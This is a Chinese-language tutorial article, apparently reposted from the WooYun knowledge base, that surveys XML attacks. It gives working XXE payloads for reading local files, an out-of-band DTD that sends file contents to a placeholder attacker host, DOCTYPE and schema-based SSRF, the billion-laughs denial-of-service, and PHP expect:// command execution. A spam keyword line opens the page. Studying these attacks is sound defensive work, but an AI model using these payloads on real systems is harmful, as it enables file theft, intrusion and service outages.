自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

你所不知道的XML安全——XML攻擊方法小結(jié)

安全 應(yīng)用安全
XML可擴展標(biāo)記語言,被設(shè)計用來傳輸和存儲數(shù)據(jù),其形式多樣。某些在XML中被設(shè)計出來的特性,比如 XML schemas(遵循XML Schemas 規(guī)范)和documents type definitions(DTDs)都是安全問題來源??v然被公開的討論了上十年,還是有一大批一大批的軟件死在針對XML的攻擊上。

0x00 XML簡介

XML可擴展標(biāo)記語言,被設(shè)計用來傳輸和存儲數(shù)據(jù)。其形式多樣

例如:

1.文檔格式(OOXML,ODF,PDF,RSS,DOCX...)
2.圖片格式(SVG,EXIF Headers,...)
3.配置文件(自定義名字,一般是.xml)
4.網(wǎng)絡(luò)協(xié)議(WebDAV,CalDAV,XMLRPC,SOAP,REST,XMPP,SAML,XACML,...)

某些在XML中被設(shè)計出來的特性,比如 XML schemas(遵循XML Schemas 規(guī)范)和documents type definitions(DTDs)都是安全問題來源??v然被公開的討論了上十年,還是有一大批一大批的軟件死在針對XML的攻擊上。

[[130395]]

其實XML實體機制很好理解,可以直接用“轉(zhuǎn)義”來理解:&#x25和&foo從原始意義上來說是一樣的,只是后者是由我們自己來定義任意內(nèi)容。

拿DTD來說,DTD中能聲明實體來定義變量(或是文字類的宏),以便在接下來的DTD或者XML文檔中使用。一般實體在DTD中定義,用來訪問內(nèi)部資源,獲取里面的文字并用來替換自己的xml文檔,而外部實體用來訪問外部資源(也就是說,這些資源能來自本地計算機,也可以是遠程主機)。在解析外部實體的過程中,XML的分析器可能會使用眾多網(wǎng)絡(luò)協(xié)議和服務(wù)(DNS,FTP,HTTP,SMB等等)這取決于URLs里面被指定成什么。外部實體用來處理那些實時更新的文檔是很有用的,然而,攻擊也能在解析外部實體的過程中發(fā)生。攻擊手段包括:

讀取本地文件(可能包含敏感信息 /etc/shadow)
內(nèi)存侵犯
任意代碼執(zhí)行
拒絕服務(wù)

本文將對長期以來出現(xiàn)的xml攻擊方法進行一個總結(jié)。#p#

0x01 初識XML外部實體攻擊

基于外部實體的文件包含

最早被提出的XML攻擊方法是利用外部實體的引用功能來實現(xiàn)任意文件讀取

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE updateProfile [  
  3. <!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
  4. <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname>   
  5. ...  
  6. </updateProfile> 

然而這種讀取是有限制的,因為xml的解析器要求被引用的數(shù)據(jù)是完整的,我們使用一個例子來解釋什么是完整。

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE simpleDocument [  
  3. <!ENTITY first "<my"> 
  4. <!ENTITY second "tag/>"> ]> 
  5. <simpleDocument>&first;&second;</simpleDocument> 

如上的xml文檔當(dāng)發(fā)送給服務(wù)器時,實際上是會產(chǎn)生一個錯誤的 其中雖然在組合在一起時是能夠完美閉合的,但是這些實體由于在第3,4行就被解析一次,此時由于不是完美閉合的,就會拋出一個錯誤。

這種錯誤讓xml攻擊一度變得雞肋起來,因為實際上很多文件都是“未閉合形式”的,比如在php文件推薦的寫法中就是只有前面一個"

更糟糕的是,當(dāng)你選擇包含的是一個完整的xml文件(比如數(shù)據(jù)庫連接文件)的時候,返回結(jié)果將是

你所不知道的XML安全——XML攻擊方法小結(jié)

可以看到,在標(biāo)簽中的數(shù)據(jù)庫配置文檔被嵌入時,大部分內(nèi)容都是省略號,只顯示了文檔的結(jié)構(gòu)。這是由xml parser特性決定的。

URL Invocation

XML攻擊中有一塊常常被忽視,那就是利用URL機制以及他們的一些奇怪的特性來擴大攻擊面。

雖然XML規(guī)范并沒有要求支持任何特定的URL機制,但許多平臺的底層網(wǎng)絡(luò)庫卻支持了幾乎所有URL機制。

借助URLs,攻擊者可以讓運行著XMLparser的主機向第三方主機發(fā)起惡意請求.

比如“server-side request forgery”(ssrf).理論上來說,URL Invocation甚至可以用來發(fā)起內(nèi)部網(wǎng)絡(luò)中的洪水攻擊。

你所不知道的XML安全——XML攻擊方法小結(jié)

大部分人不知道的是,即使外部實體被禁用了,許多xml parsers還是會去解析那些URL。舉個例子,一些parsers會在文檔定義階段對url發(fā)起請求

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://internal/service?ssrf"> 
  3. <roottag>這不是實體攻擊!</roottag> 

除了外部實體和基于DOCTYPE的SSRF攻擊之外,XML Schema提供了兩個在實例文檔中使用的特殊屬性,用于指出模式文檔的位置。這兩個屬性是:xsi:schemaLocation和xsi:noNamespaceSchemaLocation,前者用于聲明了目標(biāo)名稱空間的模式文檔,后者用于沒有目標(biāo)名稱空間的模式文檔,它們通常在實例文檔中使用。

  1. <roottag xmlns="http://schema/namespace/primary" 
  2.          xmlns:secondaryns="http://schema/namespace/secondary" 
  3.          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  4.          xsi:schemaLocation="http://schema/namespace/primary  
  5.   <p> 
  6.     <secondaryns:s> 
  7.     ...  
  8.     </secondaryns:s> 
  9.   </p> 
  10. </roottag> 
  11.    
  12. http://location/of/remote/schema/primary.xsd  
  13.    
  14.    
  15. http://schema/namespace/secondary  
  16.    
  17. http://location/of/remote/schema/secondary.xsd"> 

在這個案例中,所有帶有secondaryns:前綴的都會遵循在xmlns:secondaryns中定義的機制。由于DOCTYPE定義不能出現(xiàn)在文檔的中部,所以當(dāng)我們只對文檔某個部分可控的時候,就能利用schema_Location(http://location/of/remote/schema/primary.xsd)發(fā)起ssrf。(前提是一些設(shè)置需要設(shè)置為on,然而我們并沒有對每個xml parser進行充分的測試來研究不同環(huán)境下有什么要求能讓我們進行ssrf攻擊,所以這也是一個待研究的方向,有興趣的wooyuner可以交流~)#p#

0x02 引入?yún)?shù)實體后的攻擊手段

當(dāng)我們的惡意xml被成功解析,這時我們有可能面臨兩個問題:

一,數(shù)據(jù)未閉合導(dǎo)致嵌入失敗(比如只存在

二,服務(wù)器進行限制導(dǎo)致數(shù)據(jù)不能返回。

引入?yún)?shù)實體之后,這兩個問題就能得到解決。

參數(shù)實體以%開頭 我們使用參數(shù)實體只需要遵循兩條原則:

參數(shù)實體只能在DTD聲明中使用。 參數(shù)實體中不能再引用參數(shù)實體。

CDATA轉(zhuǎn)義的妙用

CDATA部件;在CDATA部件的所有內(nèi)容都會被XML解析器忽略,即CDATA部件里面的內(nèi)容緊緊這是一個字符串文本的作用。一個 CDATA 部件以""標(biāo)記結(jié)束。那么我們能不能構(gòu)造一個這樣的頁面來返回那些文件呢

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE roottag [  
  3.   <!ENTITY % start "<![CDATA[">  
  4.   <!ENTITY % goodies SYSTEM "file:///etc/fstab">  
  5.   <!ENTITY % end "]]>"> 
  6.   <!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd"> 
  7. %dtd;  
  8. ]> 
  9. <roottag>&all;</roottag> 

combine.dtd如下

  1. <?xml version="1.0" encoding="UTF-8"?> 
  2. <!ENTITY all "%start;%goodies;%end;"> 

前面也提到過,當(dāng)xml parsers會把xml的參數(shù)實體% start % end馬上解釋,由于沒有閉合 就會拋出錯誤,那么這里的%start為何能正常地解析呢? 這是因為參數(shù)實體的引用不需要在xml文檔解析的時候保持xml閉合,這樣就繞過了限制。

通過這樣我們就能讀取所有數(shù)據(jù)了(base64編碼也可)

外帶數(shù)據(jù)bypass回顯限制

另一種使用參數(shù)實體的手段就是外帶數(shù)據(jù)了。

利用參數(shù)實體,我們能夠把需要讀取的文件通過一些協(xié)議(http ftp等)發(fā)送到我們的服務(wù)器上,那么通過日志查看就能獲取數(shù)據(jù)了 我們可以這么構(gòu)造

  1. <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [  
  2. <!ENTITY % file SYSTEM "file:///c:/windows/win.ini"> 
  3. <!ENTITY % dtd SYSTEM "http://example.com/evil.dtd"> %dtd;]> 
  4. <roottag>&send;</roottag> 

然后在我們可控的http://example.com/

放置如下DTD

  1.  
  2. <?xml version="1.0" encoding="UTF-8"?> 
  3. <!ENTITY % all "<!ENTITY send SYSTEM 'http://example.com/?%file;'>"> %all; 

流程如下

你所不知道的XML安全——XML攻擊方法小結(jié)

#p#

 

XXE的奇門遁甲

基于XInclude的文件包含

XInclude提供了一種較為方便的取回數(shù)據(jù)的思路(再也不用擔(dān)心數(shù)據(jù)不完整而導(dǎo)致parser拋出一個錯誤)而我們能夠通過parse屬性,強制引用文件的類型。

  1. <root xmlns:xi="http://www.w3.org/2001/XInclude"> 
  2.  <xi:include href="file:///etc/fstab" parse="text"/> 
  3. </root> 

 

不過Xinclude需要手動開啟,測試發(fā)現(xiàn)所有xml parser都默認(rèn)關(guān)閉這一特性。

拒絕服務(wù)

XXE攻擊也能用來發(fā)起拒絕服務(wù)攻擊

如下的遞歸引用,從下至上以指數(shù)形式增多

  1. <?xml version="1.0"?> 
  2. <!DOCTYPE lolz [  
  3.   <!ENTITY lol "lol"> 
  4.   <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
  5.   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
  6.   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
  7.   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
  8.   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
  9.   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
  10.   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
  11.   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 
  12. ]> 
  13. <lolz>&lol9;</lolz> 

回憶一下解析過程,當(dāng)XML處理器載入這個文檔的時候,它會包含根元素,而里面定義了實體&lol9 ,而19實體擴展成了包含了“&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;”這個字符串。

如此遞歸上去,壓入內(nèi)存的東西呈指數(shù)增長,實驗發(fā)現(xiàn),一個小于1KB的XML攻擊payload能消耗3GB的內(nèi)存。

特定環(huán)境下的攻擊和限制

Java&Xerces

默認(rèn)的Oracle's Java Runtime Environment下的XML parser是Xerces,一個apache的項目。而Xerces和Java提供了一系列的特性,這些特性又能導(dǎo)致一些嚴(yán)重的安全問題。上述的那些攻擊手法(DOCTYPEs for SSRF,文件讀取,參數(shù)實體的外帶數(shù)據(jù))在java的默認(rèn)配置下能夠運用自如,java/Xerces也支持XInclude 但是需要setXIncludeAware(true) 和setNamespaceAware(true)。

java規(guī)范能夠支持如下的URL機制

http
https
ftp
file
jar

令人吃驚的是Java的file協(xié)議能夠用來列目錄,比如說,在linux下面“file:///”會列出/目錄下所有東西:

bin
boot
dev
etc
home
...

jar協(xié)議jar:http://host/application.jar!/file/within/the/zip會導(dǎo)致服務(wù)器首先取得文件然后解壓這個以jar開頭!結(jié)尾的包 并提取后面的文件。從攻擊者的角度看,完全能夠定制一些高壓縮比的包(比如1000:1)這些ZIP炸彈能用來攻擊反病毒系統(tǒng),或者用來消耗目標(biāo)機的硬盤/內(nèi)存資源。注意,jar URLs能在任何接受DOCTYPE定義的JAVA Xerces系統(tǒng)上使用。所以,即使外部實體關(guān)閉了,還是能夠進行攻擊。

php&expect的RCE

很遺憾,這個擴展并不是默認(rèn)安裝的,然而安裝了這個擴展的XXE漏洞,是能夠執(zhí)行任意命令。

  1. <!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]> 
  2. <dir> 
  3. <file>&cmd;</file> 
  4. </dir> 

那么就會返回如下

  1. <file>uid=501(Apple) gid=20(staff) groups=20(staff),501(access_bpf),
  2. 12(everyone),61(localaccounts),79(_appserverusr),80(admin),
  3. 81(_appserveradm),98(_lpadmin),401(com.apple.sharepoint.group.1),
  4. 33(_appstore),100(_lpoperator),204(_developer),
  5. 398(com.apple.access_screensharing),399(com.apple.access_ssh)<file> 

 

xml注入

這個和xxe攻擊關(guān)系并不大,但是本文討論的是XML安全,所以這個自然也就收錄進來

$GLOBALS["HTTP_RAW_POST_DATA"]在php中被設(shè)置成了“不轉(zhuǎn)義”,一旦程序通過實體獲取數(shù)據(jù)后,直接帶入了Mysql最后造成注入

案例如下

WooYun: PHPYUN最新版XML注入及SQL注入獲取管理員賬號(無視任何防御)

0x03 總結(jié)

XXE攻擊總在被忽視

開發(fā)者往往說:

攻擊威脅小..

關(guān)閉實體就能完全避免...

XML實體攻擊是啥?

然而,xml實體攻擊再上述的攻擊中已然產(chǎn)生了很多出乎開發(fā)者意料的威脅。

參考文章:

VSR http://www.vsecurity.com/download/publications/XMLDTDEntityAttacks.pdf

OWASP https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

ssrf掃描圖引用自O(shè)WASP一位speaker的PDF

責(zé)任編輯:藍雨淚 來源: 烏云知識庫
相關(guān)推薦

2017-12-15 13:44:22

2020-02-21 14:55:02

Python代碼字符串

2017-12-25 13:26:36

CNN深度學(xué)習(xí)網(wǎng)絡(luò)

2018-11-25 10:08:44

阿里巴巴技術(shù)開源

2020-08-05 12:17:00

C語言代碼分配

2013-09-09 09:59:39

虛擬化云計算

2017-10-10 13:58:38

前端CSS濾鏡技巧

2018-01-26 08:26:35

RAID陣列組成

2021-01-29 13:22:58

Swagger版本OpenAPI

2018-12-06 09:12:58

2020-06-12 09:20:33

前端Blob字符串

2020-07-28 08:26:34

WebSocket瀏覽器

2011-12-06 15:12:01

2015-11-02 13:50:34

物聯(lián)網(wǎng)物聯(lián)網(wǎng)發(fā)展

2010-08-23 09:20:11

Linux命令

2018-02-07 08:21:42

2020-02-17 16:47:44

Android Context細節(jié)

2014-07-29 16:21:57

Git

2011-04-13 10:06:50

網(wǎng)關(guān)路由器寬帶路由器

2010-08-06 13:15:35

點贊
收藏

51CTO技術(shù)棧公眾號